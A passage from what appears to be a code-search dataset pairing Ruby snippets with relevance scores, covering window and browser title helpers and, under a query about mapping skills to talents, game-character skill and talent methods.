self.class.non_namespaced_classname\n end", "title": "" }, { "docid": "9dbf52bfbdbebc901bc7c1c13bd827ba", "score": "0.5204658", "text": "def command_line\r\n @command_win.value\r\n end", "title": "" }, { "docid": "be87816cf01cb7e435087cc8ce4920ee", "score": "0.5201186", "text": "def all_window_titles\n string_array_command \"getAllWindowTitles\"\n end", "title": "" }, { "docid": "425c98da0e507a318b2124a19ff87a32", "score": "0.51947236", "text": "def get_title\n title = self.title\n\n if title.nil?\n return \"\"\n else\n return title\n end\n end", "title": "" }, { "docid": "b70ec43c59128de39e304829ced5046d", "score": "0.51926285", "text": "def title\n @browser.title\n end", "title": "" }, { "docid": "b70ec43c59128de39e304829ced5046d", "score": "0.51926285", "text": "def title\n @browser.title\n end", "title": "" }, { "docid": "d946e2f87b6fbac09cd63307aef4ee73", "score": "0.51914567", "text": "def SetDialogTitle(titleText)\n UI.WizardCommand(term(:SetDialogTitle, titleText))\n\n nil\n end", "title": "" }, { "docid": "4a825547583cfcaa42a28123268bfe9b", "score": "0.5189853", "text": "def command_name\n File.basename($0)\n end", "title": "" }, { "docid": "ffcd43fb3fc352a844adc5fca80fbd3e", "score": "0.5185215", "text": "def window_title?\n controller.window_title?\n end", "title": "" }, { "docid": "f5176991e2a2dfb6b5a6f957be0feea6", "score": "0.5176802", "text": "def browser_title\n Honcho.configuration[:browser_title] || 'Honcho'\n end", "title": "" }, { "docid": "f41745f741121764198fabae427f40e4", "score": "0.5169127", "text": "def title_confirmation\n reset_main_windows\n if @titles_window.title != current_player.title\n begin\n title_id = @titles_window.title.nil? ? nil : @titles_window.title.id\n operation = Online.change_title title_id\n if operation.success?\n current_player.title_id = @titles_window.title.id\n @player_window.refresh\n else\n @command_window.deactivate\n show_dialog(operation.failed_message, @command_window)\n end\n rescue => error\n Logger.error error.message\n @command_window.deactivate\n show_dialog(Vocab.data_error, @command_window)\n end\n end\n end", "title": "" }, { "docid": "098d782c89a5d0fce55963c1a35c3b6a", "score": "0.5161702", "text": "def setTitle(title) \n @strm.printf(\"set title \\\"%s\\\"\\n\",title) ;\n end", "title": "" }, { "docid": "4e4c3d49d3ba73c3e35df3299dca59fd", "score": "0.5157349", "text": "def set_title(title, commands)\n cmd = \"PS1=\\\"$PS1\\\\[\\\\e]2;#{title}\\\\a\\\\]\\\"\"\n title ? commands.insert(0, cmd) : commands\n end", "title": "" }, { "docid": "c382bf77adb4aa7e607f6729a74b7991", "score": "0.5152884", "text": "def browser_title\n \"#{name}\"\n end", "title": "" }, { "docid": "872780aeb93f3202480f51f84c2b1cfd", "score": "0.5151313", "text": "def title_1(text)\r\n title(text, 1)\r\n end", "title": "" }, { "docid": "92c576c56ff6c6d5c67d9402c42199b1", "score": "0.51469547", "text": "def title(string)\n\t$tests = $tests + 1\n\tputs \" * test number: \" + $tests.to_s\n\tputs \" checking for the title: \" + string\n\tif $ie.title() == string\n\t\tputs \" ok -- the title is: \" + string\n\t\t$pass = $pass + 1\n\telse\n\t\tputs \">>>FAIL -- the title is NOT: \" + string\n\t\t$fail = $fail + 1\n\tend\nend", "title": "" }, { "docid": "df7905f67575ea8c8329594c187da872", "score": "0.51439404", "text": "def get_title(title)\n application_name = 'CoHoop'\n title = action_name.capitalize if title.nil?\n (action_name.nil? && title.nil?) ? application_name : \"#{application_name} | #{title}\"\n end", "title": "" }, { "docid": "f5e7b65033b9859361b1d1ed2aecd734", "score": "0.51432604", "text": "def default_title\n title = ood_app.title\n title += \": #{sub_app.titleize}\" if sub_app\n title\n end", "title": "" }, { "docid": "1c07550e5f4f234f1ce9a511e1bcb634", "score": "0.5143014", "text": "def title\n @options[:title] || default_title\n end", "title": "" }, { "docid": "04ba449c444c33e68e53f334cb6090ff", "score": "0.5138473", "text": "def ask_title\n self.title = Octopolo::Question.new(prompt: \"Title:\").prompt\n end", "title": "" }, { "docid": "806a668b3aa886518401152de098f974", "score": "0.5129996", "text": "def command_name\n @command_name ||= begin\n if command = name.to_s.split(\"::\").last\n command.chomp!(\"Command\")\n command.underscore\n end\n end\n end", "title": "" }, { "docid": "29e2c29e05627c65248260fca319b32f", "score": "0.5128046", "text": "def title(string)\n\t$tests = $tests + 1\n\tputs \" --+ test number: \" + $tests.to_s\n\tputs \" checking for the title: \" + string\n\tif $ie.title() == string\n\t\tputs \" ok -- the title is: \" + string\n\t\t$pass = $pass + 1\n\telse\n\t\tputs \">>>FAIL -- the title is NOT: \" + string\n\t\t$fail = $fail + 1\n\tend\nend", "title": "" }, { "docid": "9173d14073b0546eacba08ecc2bebc34", "score": "0.5121053", "text": "def title_string\n self.title\n end", "title": "" }, { "docid": "2321bd573bb149c900745071d3be7c26", "score": "0.5118687", "text": "def prompt\n string_command \"getPrompt\"\n end", "title": "" }, { "docid": "fbd978819e1c9277a4ccd6df03bd951a", "score": "0.5108888", "text": "def draw_window_title\n draw_bg_rect(0, 0)\n case @mode\n when :info\n title = quest.name\n when :tasks\n title = Vocab.quest_tasks\n else\n title = ' '\n end\n text = sprintf('< %s >', title)\n change_color(system_color)\n draw_text(0, 0, contents_width, line_height, text, 1)\n if $imported['H87-ControllerMapper']\n draw_key_icon(:LEFT, 0, 0)\n draw_key_icon(:RIGHT, contents_width - 24, 0)\n end\n end", "title": "" }, { "docid": "ac6bdff7bc16d23c9ed073cb344d9f27", "score": "0.51070976", "text": "def title\n reload() if !@title\n return @title\n end", "title": "" }, { "docid": "3c966ca86aafa6057c7c6dc2a8f538a7", "score": "0.51018214", "text": "def title(text)\n # returns Shoes::Title\n throw NotImplementedError\n end", "title": "" }, { "docid": "5e860970465ab7612dd3fd2c945b5cec", "score": "0.5100769", "text": "def browser_title\n default_title = \"Brevidy - The soul of video\"\n base_title = \"Brevidy\"\n if @browser_title.nil?\n default_title\n else\n browser_title = \"#{@browser_title} - #{base_title}\"\n end\n end", "title": "" }, { "docid": "ef70e68c246d0a9d35699f22e8c30300", "score": "0.5099383", "text": "def title\n if @title.is_a? String\n @title\n end\n end", "title": "" }, { "docid": "cbbd1ec0ddda968b4e0ad96baa0e16aa", "score": "0.5096287", "text": "def title(name)\n browser.title == name\n end", "title": "" }, { "docid": "d772b6980001dbc96eebeb97194b75c3", "score": "0.50930333", "text": "def title\n @title ||= begin\n Utilities.longest_common_substring_in_array(titles) || titles.first\n end\n end", "title": "" }, { "docid": "c752994cc6157ae6e7c5067938937836", "score": "0.5085664", "text": "def title_for_display\n if !title.blank?\n title\n elsif folder\n folder.title || ''\n else\n ''\n end\n end", "title": "" }, { "docid": "0a95bf1a5a45c0a2564cfc0ec9eda8bd", "score": "0.50830203", "text": "def new_window(command_str)\n res = services.mac_os.call_method('iterm2_new_window', command_str)\n OpenStruct.new(res)\n end", "title": "" }, { "docid": "8ce307202bacaa3a250c7e0bdea071b8", "score": "0.50821924", "text": "def get_work_title\n if self.ie.nil?\n \"\"\n else\n self.ie.title\n end\n end", "title": "" }, { "docid": "8ce307202bacaa3a250c7e0bdea071b8", "score": "0.50821924", "text": "def get_work_title\n if self.ie.nil?\n \"\"\n else\n self.ie.title\n end\n end", "title": "" }, { "docid": "7c80783d6857951ca33812d24ebf9f3d", "score": "0.50795394", "text": "def title\n @title ||= name\n end", "title": "" }, { "docid": "3ad9d4b6d2c944521b735553b261d3ea", "score": "0.5066328", "text": "def set_process_title; end", "title": "" }, { "docid": "1a781f5c650d3d3c3674ff26be378d79", "score": "0.50638545", "text": "def cmd_name\n File.basename($0)\n end", "title": "" }, { "docid": "a23ce83c3c38430ca8aafc4cff4e0772", "score": "0.5046451", "text": "def get_dialog_title\n dialog.find_element(:class, 'dialog-title-bar').text\n end", "title": "" }, { "docid": "309b87ba0d0639886328956107a65dde", "score": "0.5044296", "text": "def update_title_command\n @new_command.update;\n end", "title": "" }, { "docid": "35b78753f39433f786c499dba5464010", "score": "0.5038274", "text": "def command_to_title\n # Play decision SE\n $game_system.se_play($data_system.decision_se)\n # Fade out BGM, BGS, and ME\n Audio.bgm_fade(800)\n Audio.bgs_fade(800)\n Audio.me_fade(800)\n # Switch to title screen\n $scene = Scene_Title.new\n end", "title": "" } ]
5434baa22bd8f899aee7ba5d01833762
TODO gets a map of skill>[talents] for a given nature
[ { "docid": "9660df893725a5b9d55e28dc149bb59b", "score": "0.68137383", "text": "def get_talents\n\n # skills = [ self.skill_mandatory1, self.skill_mandatory2, self.skill_mandatory3,\n # self.skill_elective1, self.skill_elective2, self.skill_elective3 ]\n\n talents = {}\n\n # skills.each do |skill|\n # # TODO CHECK FOR RANDOM/CAREER SKILL\n # talents[skill] = Talent.where( skill: skill ).find_each\n # end\n\n talents\n\n end", "title": "" } ]
[ { "docid": "a04ed6356bb8f908962c74703731c9b3", "score": "0.6245736", "text": "def nature\n return GameData::Natures[@nature]\n end", "title": "" }, { "docid": "ebab72088ce7ff04accf24b46d49b1ae", "score": "0.61101407", "text": "def categorized_specific_skill\n return \"#{skill_category.description} : #{specific_skill}\"\n end", "title": "" }, { "docid": "e04b366be7bbf5e22a5f1d9859e1cd2e", "score": "0.61012083", "text": "def computed_skills\n skills_hash = Hash[skills_count] # {\"générosité\"=>1, \"passion\"=>2}\n wanted_skills_hash = Hash[wanted_skills.map { |s| [s.name, 0] }] # {\"jonglage\"=>0, \"passion\"=>0}\n wanted_skills_hash.merge(skills_hash).except(*unwanted_skills.map(&:name)) # {\"générosité\"=>1, \"jonglage\"=>0}\n end", "title": "" }, { "docid": "ca4fa99cab781a8ef2ceec32412ccb7b", "score": "0.6084778", "text": "def skill_schools\r\n\t\t[\r\n\t\t\t'Tailoring', \r\n\t\t\t'Jewelcrafting', \r\n\t\t\t'Enchanting',\r\n\t\t\t'Blacksmithing',\r\n\t\t\t'Summoning',\r\n\t\t\t'Shadow',\r\n\t\t\t'Fire',\r\n\t\t\t'Holy',\r\n\t\t\t'Frost',\r\n\t\t\t'Melee',\r\n\t\t\t'Ranged'\r\n\t\t]\r\n\tend", "title": "" }, { "docid": "053d5efec953bde8f1c2790dcfd73302", "score": "0.6074776", "text": "def get_skills(locator, freelancer)\n find_all(locator, freelancer).map {|skill| skill.text}\n end", "title": "" }, { "docid": "7bdc6fab804091cc433df8caffc35357", "score": "0.5861302", "text": "def skills_view(skills)\n skills.map { |skill| skill_view(skill) }\n end", "title": "" }, { "docid": "ef754268c7dfc0d51b0336ce0fe7e646", "score": "0.58078444", "text": "def nature_text\n return text_get(8, nature.first)\n end", "title": "" }, { "docid": "72f589df8fd0aef4b5e26dd40e43cfee", "score": "0.58008933", "text": "def skills_tab\n skill_bonuses = @character.skill_bonuses.select_ability_total_bonus.select_skill_name.joins(:skill).joins(:ability_bonus)\n @insight = skill_bonuses.insight\n @perception = skill_bonuses.perception\n @skill_bonuses = skill_bonuses.sort_by(&:fr_name)\n @klass_choosable_skill_bonus = @character.klass.try(&:choosable_skills_to_a)\n end", "title": "" }, { "docid": "020a2311c91591968601707befee664a", "score": "0.57824403", "text": "def nature(level)\n data = @data['families'].find { |type| type['name'] == 'Nature' }\n badge = data['earnedAchievements'].find { |le| le['familyOrder'] == (level - 1) }\n HQTrivia::Badge.new(badge)\n end", "title": "" }, { "docid": "174dccbb408d352396c3a7ab69fc550f", "score": "0.57795525", "text": "def skills\n pers_all = (!$game_persistent_skills[0].nil? ? $game_persistent_skills[0] : [])\n pers_class = (!$game_persistent_skills[@class_id].nil? ? $game_persistent_skills[@class_id] : [])\n pers_subclass = (!$game_persistent_skills[@subclass_id].nil? ? $game_persistent_skills[@subclass_id] : [])\n (@skills | added_skills | pers_all | pers_class | pers_subclass).uniq.sort.collect {|id| $data_skills[id] }\n end", "title": "" }, { "docid": "7f003d16e353fbca971977bff0b75e0b", "score": "0.57476455", "text": "def nature_id\n return @nature\n end", "title": "" }, { "docid": "c60f99a801c008700502dcff901b3e21", "score": "0.5613056", "text": "def skill_bonus(_skill)\n\t\tbonus = nil\n\t\t@abilities.each do |ability|\n\t\t\tb = ability.skill_bonus(_skill, proficiency_bonus)\n\t\t\tbonus = b if b != nil\n\t\tend\n\t\tbonus\n\tend", "title": "" }, { "docid": "bb901ec137e2ca55c2d5307591c7a9cf", "score": "0.5603375", "text": "def all_skills\n self.skills.map(&:name).join(', ')\n end", "title": "" }, { "docid": "3063a41109bfab0be54a606edf26008c", "score": "0.55934846", "text": "def all_skills\n self.skills.map(&:name).join(\", \")\n end", "title": "" }, { "docid": "0bd04316b13b75c5293f91a394a16071", "score": "0.55917996", "text": "def blue_magic_skills\n @skills.select { |id| $data_skills[id].blue_magic }\n end", "title": "" }, { "docid": "b9782926a2ce0e26a869f47899b192e7", "score": "0.55751646", "text": "def techniques_by_tactic(only_platform: /.*/)\n techniques_by_tactic = Hash.new {|h, k| h[k] = []}\n techniques.each do |technique|\n next unless !technique['x_mitre_platforms'].nil?\n next unless technique['x_mitre_platforms'].any? { |platform| platform.downcase.sub(\" \", \"-\") =~ only_platform }\n\n technique.fetch('kill_chain_phases', []).select { |phase| phase['kill_chain_name'] == 'mitre-attack' }.each do |tactic|\n techniques_by_tactic[tactic.fetch('phase_name')] << technique\n end\n end\n techniques_by_tactic\n end", "title": "" }, { "docid": "e996f5c34d4c5805641fccbc68676fc1", "score": "0.5552052", "text": "def chooseBestSkill(context, pur, weapon_type, prop)\n p \"choose best skill for #{pur}/#{weapon_type} by #{prop}\"\n # p \"skills #{context[:skills]}(size=#{context[:skills].size})}\"\n attacker_skills = context[:skills]\n \n best_skill = {\n :skill => nil\n }\n best_skill[prop] = 0\n reg2 = Regexp.new(\"#{pur}\", true)\n if (weapon_type and weapon_type.length >0)\n reg = Regexp.new(\"#{weapon_type}\", true)\n else\n reg = /./i\n end\n p \"==>1#{attacker_skills.inspect}\"\n for skill in attacker_skills\n if (!skill || skill.category=='premier')\n next\n end\n skillname = skill.query_data(\"skname\")\n p \"===>skill = #{skill}\"\n p \"===>skill name =#{skillname}\"\n #context[:thisskill] = skill\n# purpose = query_skill(skillname, \"for\", skill, context)\n\n purpose = skill.for # usage: attack parry ...\n type = skill.type # skill type: unarmed, fencing, daofa...\n \n # if skill is for attacking and has correct type with weapon\n if type=~ reg and purpose=~reg2 \n # ret = query_skill(skillname, prop, skill, context)\n # ret = skill.query(prop, context)\n ret = skill_power(skill, context[:user], pur)\n p \"===>#{prop} of #{skillname}: #{ret} \\n\"\n if (ret.to_i > best_skill[prop])\n best_skill[prop] = ret\n best_skill[:skill] = skill\n end\n end\n\n \n #p \"target:\"+@target_class+\", cmd:\"+@cmd+\", param:\"+@cparam\n end\n if ( best_skill[:skill] == nil)\n #if not found, add basic skill for this type of skill\n _skname = weapon_type\n if (pur == 'dodge')\n _skname = 'dodge'\n elsif (pur == 'parry')\n _skname = 'parry'\n end\n if _skname == nil or _skname==\"\"\n raise \"skill name is nil\"\n end\n # us = Userskill.new({\n # :uid => context[:user][:id],\n # :sid => context[:user][:sid],\n # :skid => 0,\n # :skname => _skname,\n # :skdname => \"basic #{weapon_type}\",\n # :level => 0,\n # :tp => 0,\n # :enabled => 1 \n # })\n # us.save!\n us = context[:user].set_skill(_skname, 0, 0)\n attacker_skills.push(us)\n best_skill[:skill] = us\n end\n p \"==>best skill of #{context[:user].name} for #{pur}, skill_type #{weapon_type}: #{best_skill}\"\n return best_skill\n end", "title": "" }, { "docid": "ddcb4e7907bfed24566773f01f7747b5", "score": "0.55435586", "text": "def key_skill; end", "title": "" }, { "docid": "7f1a89062c6f1615680d03d9f197a100", "score": "0.5541333", "text": "def add_skill_text(text, id, type)\n # return normal text if range is 0 or the option isn't used for this type\n return text if Skills.range(id) == 0\n # get scope\n scope = $data_skills[id].scope\n # iterate through configuration\n Config::SKILL_DATA_MODE.each_index {|i|\n # if current option was set up for this type\n if Config::SKILL_DATA_MODE[i] == type\n # add extra information to result text\n case i\n when 0\n next if scope == 0 || scope == 7\n text += case Skills.type(id)[0]\n when SHOOT then Cache::ScopeOne.include?(scope) ? ' (Shooter)' : ' (Thruster)'\n when HOMING then Cache::ScopeOne.include?(scope) ? ' (Homing)' : ' (S. Homing)'\n when DIRECT then Cache::ScopeOne.include?(scope) ? ' (Selector)' : ' (Shockwave)'\n when BEAM then Cache::ScopeOne.include?(scope) ? ' (Beam)' : ' (Fullscreen)'\n when TRAP then ' (Trap)'\n when TIMED then ' (Timed)'\n when SUMMON then ' (Summoner)'\n end\n when 1 then text += ' (explodes)' if Skills.type(id)[1] > 0\n when 2\n number = Skills.range(id)\n number = 1.0 if number < 1.0\n text += \" R: #{number}\"\n end\n end}\n # return result text\n return text\n end", "title": "" }, { "docid": "b63630fdc5fa1422d4a2edd3da929aa8", "score": "0.5530446", "text": "def skills\n\t\t[]\n\tend", "title": "" }, { "docid": "7e83273ecca36ae6b970c718cb4880b3", "score": "0.55243725", "text": "def talents\n talents = {}\n unless self.character_talents.empty?\n self.character_talents.each do |talent_tree|\n talent_tree.attributes.each do |key, value|\n if key.match(/talent_[\\d]_[\\d]$/) and !value.nil?\n if talents.has_key?(value) && !talent_tree[\"#{key}_options\"].nil?\n talents[value]['count'] = talents[value]['count'] + 1\n talent_tree[\"#{key}_options\"].each do |opt|\n opt_test = opt.to_i\n if opt_test.is_a? Integer and opt_test > 0\n talents[value]['options'] << Skill.find_by_id(opt).name\n else\n talents[value]['options'] << opt.capitalize\n end\n end\n else\n talents[value] = {}\n talents[value]['count'] = 1\n talents[value]['options'] = Array.new\n unless talent_tree[\"#{key}_options\"].nil?\n unless talent_tree[\"#{key}_options\"].empty?\n talent_tree[\"#{key}_options\"].each do |opt|\n opt_test = opt.to_i\n if opt_test.is_a? Integer and opt_test > 0\n talents[value]['options'] << Skill.find_by_id(opt).name\n else\n talents[value]['options'] << opt.capitalize\n end\n end\n end\n end\n end\n end\n end\n end\n talents\n end\n\n # Build the character cybernetics selection.\n def cybernetics\n cybernetics = Array.new\n items = Array.new\n bonus_arms = {\n :agility => nil,\n :brawn => nil\n }\n bonus_legs = {\n :agility => nil,\n :brawn => nil\n }\n bonus_head = {\n :intellect => nil\n }\n left_leg_active = false\n right_leg_active = false\n arms_active = false\n head_active = false\n bonus_soak = 0\n\n if self.character_cybernetics\n self.character_cybernetics.each do |cyb|\n bonus = nil\n unless cyb.gear_id.nil?\n if cyb.respond_to?(\"#{cyb.gear.name.gsub(/[^0-9a-z\\\\s]/i, '').downcase}\")\n bonus = cyb.send(\"#{cyb.gear.name.gsub(/[^0-9a-z\\\\s]/i, '').downcase}\")\n if bonus\n if !arms_active && (cyb.location == 'left_arm' || cyb.location == 'right_arm')\n bonus_arms = bonus\n arms_active = true\n end\n if cyb.location == 'left_leg'\n left_leg_active = cyb.gear.id\n end\n if cyb.location == 'right_leg'\n right_leg_active = cyb.gear.id\n end\n if left_leg_active == right_leg_active\n bonus_legs = bonus\n end\n if !head_active && cyb.location == 'head'\n bonus_head = bonus\n head_active = true\n end\n if bonus[:soak]\n bonus_soak = bonus[:soak]\n end\n end\n end\n\n items << {\n :name => cyb.gear.name,\n :location => cyb.location,\n :bonus => bonus\n }\n end\n end\n end\n\n cybernetics = {\n :items => items,\n :bonuses => {\n :agility => (bonus_arms[:agility] ? bonus_arms[:agility] : 0) + (bonus_legs[:agility] ? bonus_legs[:agility] : 0),\n :brawn => (bonus_arms[:brawn] ? bonus_arms[:brawn] : 0) + (bonus_legs[:brawn] ? bonus_legs[:brawn] : 0),\n :intellect => (bonus_head[:intellect] ? bonus_head[:intellect] : 0),\n :soak => bonus_soak,\n },\n :legs => left_leg_active == right_leg_active\n }\n\n cybernetics\n end\n\n character_bonus_talents = CharacterBonusTalent.where(:character_id => self.id)\n unless character_bonus_talents.empty?\n character_bonus_talents.each do |bt|\n talent_ranks = RaceTalent.where(:race_id => self.race.id, :talent_id => bt.talent_id).first#.ranks\n unless talent_ranks.nil?\n if talents.has_key?(bt.talent_id)\n talents[bt.talent_id]['count'] = talents[bt.talent_id]['count'] + talent_ranks.ranks\n else\n talents[bt.talent_id] = {}\n talents[bt.talent_id]['count'] = talent_ranks.ranks\n talents[bt.talent_id]['options'] = Array.new\n end\n end\n end\n end\n\n # Include talent alterations from equipped armor.\n if self.armor_modification_bonuses['talents']\n self.armor_modification_bonuses['talents'].each do |armor_talents|\n if talents.has_key?(armor_talents)\n talents[armor_talents]['count'] = talents[armor_talents]['count'] + 1\n else\n talents[armor_talents] = {}\n talents[armor_talents]['count'] = 1\n talents[armor_talents]['options'] = Array.new\n end\n end\n end\n # Include talent alterations from equipped weapons.\n if self.weapon_modification_bonuses['talents']\n self.weapon_modification_bonuses['talents'].each do |weapon_talents|\n if talents.has_key?(weapon_talents)\n talents[weapon_talents]['count'] = talents[weapon_talents]['count'] + 1\n else\n talents[weapon_talents] = {}\n talents[weapon_talents]['count'] = 1\n talents[weapon_talents]['options'] = Array.new\n end\n end\n end\n talents\n end", "title": "" }, { "docid": "ac53518dd3f896fae87536a33556843b", "score": "0.55031955", "text": "def skillsNeeded\n\t\t[]\n\tend", "title": "" }, { "docid": "cfa33563426782eb5e7c8d696b804106", "score": "0.5475102", "text": "def nature; end", "title": "" }, { "docid": "411a2c56c0fce03d72e355d3baa63fd7", "score": "0.54477715", "text": "def spells()\n learnings = self.learnings()\n spells = learnings.map { |learning| learning.spell }\n return spells\n end", "title": "" }, { "docid": "339344b00a4cf8f425e7c30363c442fd", "score": "0.5436544", "text": "def criminal_skills(roll)\n case roll\n when 1..2\n if @@skills.include? \"Barter\"\n @@criminal_skill_rolls += 1\n else\n @@skills << \"Barter\" # 1 pt max\n end\n when 3..9\n @@skills << \"Climbing\"\n when 10..13\n @@skills << \"Disguise Artist\"\n when 14..19\n @@skills << \"Dodge\"\n when 20..21\n @@skills << \"Driver\"\n when 22\n if @@skills.include? \"Erotic Arts\"\n @@criminal_skill_rolls += 1\n else\n @@skills << \"Erotic Arts\" # max 1 skill pt in this area\n end\n when 23..25\n if @@skills.include? \"Forgery\"\n @@criminal_skill_rolls += 1\n else\n @@skills << \"Forgery\"\n @@literacy = \"Literate\"\n end\n when 26..29\n @@skills << \"Gambler\"\n when 30..31\n @@skills << \"Grapple\"\n when 32\n @@skills << \"Gun Slinger\"\n when 33\n @@skills << \"Gunsmith\"\n when 34..37\n @@skills << \"Junk Crafter\"\n when 38..41\n @@skills << \"Knife Fighter\"\n when 42..47\n @@skills << \"Knife Thrower\"\n when 48..51\n @@skills << \"Lying\"\n when 52\n @@skills << \"Medic\"\n when 53..54\n if @@skills.include? \"Navigate by Stars\"\n @@criminal_skill_rolls += 1\n else\n @@skills << \"Navigate by Stars\" # max 1 point in this skill\n end\n when 55\n @@skills << \"Negotiating\"\n when 56..66\n @@skills << \"Pick Locks\"\n when 67..77\n @@skills << \"Pick Pocket\"\n when 78\n @@skills << \"Pilot\"\n when 79\n @@skills << \"Relic Knowledge\"\n when 80..81\n @@skills << \"Riding\"\n when 82\n @@skills << \"Sniper\"\n when 83..88\n @@skills << \"Stealth\"\n when 89..91\n @@skills << \"Tracking\"\n when 92..94\n @@skills << \"Unarmed Combat\"\n when 95\n @@skills << \"Wilderness Survival\"\n when 96..100\n @@skills << \"Weapons Expert\"\n # if rolled more than once, take a second level in the same weapon or randomly roll a new weapon -- player's choice. Mutants and cyborgs can choose to apply the weapon expert skill to a mutation or implant, as desired.\n end\nend", "title": "" }, { "docid": "ed1a03c5d046c18c474a67a9009ae78f", "score": "0.5431157", "text": "def lookup(meaning, should_invent=false)\n word = nil\n unless meaning.empty?\n rules = grammar.lookup(meaning)\n if rules.empty?\n if should_invent\n word = utter_randomly\n # self.learn Utterance.new meaning, word\n end\n else\n rules.sort_by! do |rule|\n rule.meaning.missing_parts.count\n end.reverse!\n rules.each do |rule|\n if rule.meaning.full?\n word = rule.word\n break\n else\n current = rule.clone\n current.meaning.missing_parts.each do |index, part|\n required = Meaning.new\n required[part] = meaning[part]\n res = lookup(required, should_invent)\n if res.nil?\n word = nil\n break\n else\n current.embed!(part, index, res)\n end\n end\n if current.meaning.full?\n word = current.word\n break\n end\n end\n end\n end\n end\n word\n end", "title": "" }, { "docid": "470137e514a35b84f54817f6a17b91e3", "score": "0.5391439", "text": "def convert_single_skill(skill)\n hash = {\n id: skill.id,\n db_symbol: skill.db_symbol,\n callCommonEvent: skill.map_use,\n battleEngineHandler: skill.be_method,\n type: skill.type,\n basePower: skill.power,\n baseAccuracy: skill.accuracy,\n ppCount: skill.pp_max,\n target: skill.target,\n class: skill.atk_class,\n criticalRateType: skill.critical_rate,\n priority: skill.priority,\n contact: skill.direct,\n effect_chance: skill.effect_chance,\n canBeBlocked: skill.blocable,\n isSnatchable: skill.snatchable,\n canBeMirrored: skill.mirror_move,\n canBeReflected: skill.magic_coat_affected,\n isFlyingMove: skill.gravity,\n isSoundMove: skill.sound_attack,\n canUnfreeze: skill.unfreeze,\n triggerKingRock: skill.king_rock_utility,\n stageIncrease: skill.battle_stage_mod\n }\n if skill.status && skill.status > 0\n hash[:inflict] = @no_symbol_conv ? skill.status : States.index(skill.status)\n end\n return hash\n end", "title": "" }, { "docid": "f43373e0f379ee7824823bf50a5cef38", "score": "0.5370227", "text": "def determine_tactic\n #Override retreat if physical attack\n if attack?\n @tactic = 1\n elsif skill?\n if !item.nil?\n @tactic = 2\n end\n else\n @tactic = 3\n end\n end", "title": "" }, { "docid": "96545ce3950af93ad8c9114dffabd2af", "score": "0.53620785", "text": "def special_skill(launcher, target, skill)\n case skill.symbol\n when :s_counter #Riposte & co\n if skill.id == 64 and (count = target.skill_category_amount(1)) > 0\n @IA_Info[:other_factor] = rand * 0.6 + count * 0.1\n elsif skill.id == 243 and (count = target.skill_category_amount(2)) > 0\n @IA_Info[:other_factor] = rand * 0.6 + count * 0.1\n else\n @IA_Info[:other_factor] = rand * 0.7\n end\n else\n return false\n end\n return true\n end", "title": "" }, { "docid": "214da1599fa84ce8246764ab0aec8fb7", "score": "0.5350366", "text": "def full_skill_name\n \"#{skill_category} > #{skill_subcategory} > #{skill_description}\"\n end", "title": "" }, { "docid": "92b22ad6a7ade3f4ca20a514ed08a14f", "score": "0.534056", "text": "def adventuring() skill(:adventuring) end", "title": "" }, { "docid": "788af128f0b3bf9fb1bd977e3bb4f8c6", "score": "0.53396326", "text": "def patronymic(for_sex = :random)\n fetch_sample(PATRONYMICS[select_sex(for_sex)])\n end", "title": "" }, { "docid": "605013296008e84eee2362b960cadd8d", "score": "0.5338645", "text": "def t_experience_kind(experience)\n I18n.t(\"values.experience_kind.#{experience}\", default: experience.capitalize)\n end", "title": "" }, { "docid": "d24dc31b887c865ac54a0f4d28072927", "score": "0.5325416", "text": "def proficiency_for(skill)\n SkillsUser.find_by_user_id_and_skill_id(self.id, skill.id).skill_level\n end", "title": "" }, { "docid": "249f568d12029174f3c2fa6568e701de", "score": "0.5324808", "text": "def skill?\n return (@kind == ACTSkill)\n end", "title": "" }, { "docid": "dee20348445f2a4f0fb7027843067712", "score": "0.53161585", "text": "def skill_tags\n return @skill_tags\n end", "title": "" }, { "docid": "9b0050789cf0850c130957722e18ad90", "score": "0.5282942", "text": "def get_type_in_french\n type = ''\n if !self.achievement_type.nil?\n if self.achievement_type.downcase == 'weight'\n type = 'Poids'\n elsif self.achievement_type.downcase == 'time'\n type = 'Temps'\n elsif self.achievement_type.downcase == 'kilometer'\n type = 'Kilomètre'\n end\n else\n type = 'kilometer'\n end\n\n type\n end", "title": "" }, { "docid": "3aa68ae1ebbe0a16058e6310da9c25ee", "score": "0.527904", "text": "def skill_sealed?(skill_id)\r\n features_set(FEATURE_SKILL_SEAL).include?(skill_id)\r\n end", "title": "" }, { "docid": "f7af1f9e1cea7f5fa3c4cfc125d311a5", "score": "0.52668494", "text": "def get_mapped_concept_name(concept_name)\n mapped_concepts = {\n 'eye infection, acute' => 'Red eye',\n 'acute eye infection' => 'Red eye',\n 'acute red eye' => 'Red eye',\n 'skin dryness' => 'Dry skin',\n 'skin dry' => 'Dry skin',\n 'skindryness' => 'Dry skin',\n 'gained or lost weight' => \"Weigth change\"\n }\n return mapped_concepts[concept_name.to_s.downcase]\n end", "title": "" }, { "docid": "8bf336bb74c3a6cd7e36c3679052989d", "score": "0.52610004", "text": "def get_first_n_skills(n)\n return '' if self.skill_ids.blank?\n self.skills.take(n).collect(&:name).join(', ')\n # @skills = Rails.cache.fetch(\"skills-#{self.id}-#{n}\", expires_in: 1.hours) do\n # self.skills.take(n).collect(&:name).join(', ')\n # end\n # return @skills\n end", "title": "" }, { "docid": "164ff765994c72ec48e4e28c704c833a", "score": "0.5248399", "text": "def get_mapped_concept_name(concept_name)\n mapped_concepts = {\n 'eye infection, acute' => 'Red eye',\n 'acute eye infection' => 'Red eye',\n 'acute red eye' => 'Red eye',\n 'skin dryness' => 'Dry skin',\n 'skin dry' => 'Dry skin',\n 'skindryness' => 'Dry skin',\n 'gained or lost weight' => 'Weight change'\n }\n return mapped_concepts[concept_name.to_s.downcase]\n end", "title": "" }, { "docid": "08cd5626b391c877d7e5b33bc900eec1", "score": "0.524557", "text": "def give_personality_info\n case self.character_type\n when 'estp'\n TemperamentInfo.artisan_info\n TemperamentInfo.estp_info\n when 'istp'\n TemperamentInfo.artisan_info\n TemperamentInfo.istp_info\n when 'esfp'\n TemperamentInfo.artisan_info\n TemperamentInfo.esfp_info\n when 'isfp'\n TemperamentInfo.artisan_info\n TemperamentInfo.isfp_info\n when 'estj'\n TemperamentInfo.guardian_info\n TemperamentInfo.estj_info\n when 'istj'\n TemperamentInfo.guardian_info\n TemperamentInfo.istj_info\n when 'esfp'\n TemperamentInfo.guardian_info\n TemperamentInfo.esfp_info\n when 'isfj'\n TemperamentInfo.guardian_info\n TemperamentInfo.isfj_info\n when 'enfj'\n TemperamentInfo.idealist_info\n TemperamentInfo.enfj_info\n when 'infj'\n TemperamentInfo.idealist_info\n 